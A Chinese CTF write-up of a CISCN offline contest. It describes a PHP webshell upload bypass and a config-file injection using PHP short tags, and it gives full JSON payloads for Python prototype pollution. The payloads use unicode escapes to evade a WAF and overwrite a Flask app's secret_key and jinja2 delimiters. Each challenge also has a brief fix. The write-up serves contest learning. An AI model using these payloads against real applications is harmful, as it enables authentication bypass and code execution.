第一次打CISCN结果是大大出乎了我们的意料,本来是冲着三等去的没想到最后拿了个20名(我个人认为我在这次线下赛的表现还是非常出色的,嘿嘿),web的break和fix都差一题node.js(考node.js是一点都不会啊也没存文章,)
我记得刚打出python原型链污染的时候排名直接到了11名当然很快就掉下去了师傅们太强了

wp

签到不必多说,f12

submit

break:he

幽默文件上传,盲盒测试时发现可以上传php文件,幽默文件上传,队友和我说这个只能上传png图片,并且检测php,所以我直接上传了端标签的php马并再前面添加了图片文件头,赛后发现其应该只是再文件里检测了php之类的

fix:

直接加图片文件尾的白名单即可

粗心的程序员

break

分析源码我们可以发现,其在home.php直接将修改的用户名加到了config.php里而config.php是再web页面的是能被解析到的。而其将写入的内容前加了个注释,且没有过滤?<>=那么这就可以直接使用?>来饶过注释再利用短标签来执行命令再使用#来注释后面拼接的内容,即可命令执行

fix

检测?,>,<等其就无法命令执行了

Polluted-Break

审计源码会发现其存在merge可以发现其存在原型链污染,而/路由下会直接将json处理到merge函数里。

其存在waf,可以使用unicode来进行编码绕过。

看admin路由会发现其只要username等于adminer,password等于secret_key即可,那么既然存在污染就只要污染secret_key为aaa然后登陆即可
污染代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{"username":"adminer","password":"aaa",

"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {

"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {

"\u0061\u0070\u0070" : {

"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"aaa"

}

}

}}

污染后再admin路由传入username=adminer&password=aaa

发现其flag是[%flag%]正常的jinja2模板应该是{{}},而题目的flag为[%%]所以我们是无法解析的,需要将jinja2模板的{{}}污染为[%%]
代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{"username":"adminer","password":"aaa",

"__init__" : {

"__globals__" : {

"app" : {

"jinja_env" :{"variable_start_string" : "[%","variable_end_string":"%]"}

}

}
}}



但是我发现在污染过第一次后再污染就会得到flag,所以我们将题目重置后,先污染[%,在污染secret_key最后访问登陆访问admin路由即可得到flag

fix

我们查看源码发现其merge函数不存在任何后续功能,其存在的目的好像就只有污染,那么就直接将其注释即可

总的来说这次的CISCN对我这个第一次打线下赛的web狗来说是非常圆满的